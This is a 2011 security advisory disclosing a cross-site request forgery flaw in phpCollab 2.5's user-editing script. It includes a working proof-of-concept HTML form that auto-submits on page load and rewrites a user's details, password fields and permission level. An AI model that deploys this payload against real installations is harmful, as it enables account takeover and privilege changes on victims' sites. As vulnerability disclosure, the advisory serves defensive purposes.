Vulnerability ID: HTB22916 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_phpcollab.html Product: phpCollab Vendor: phpCollab Team ( http://www.php-collab.org/ ) Vulnerable Version: 2.5 and probably prior versions Vendor Notification: 24 March 2011 Vulnerability Type: CSRF (Cross-Site Request Forgery) Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "users/edituser.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/users/edituser.php?id=USERID&action=update"; method="post" name="main"> <input type="hidden" name="un" value="test"> <input type="hidden" name="unOld" value="test"> <input type="hidden" name="fn" value="test"> <input type="hidden" name="tit" value="test"> <input type="hidden" name="em" value="email@xxxxxxxxxxx"> <input type="hidden" name="pw" value=""> <input type="hidden" name="pwa" value=""> <input type="hidden" name="perm" value="5"> <input type="hidden" name="Save" value="Save"> </form> <script> document.main.submit(); </script>
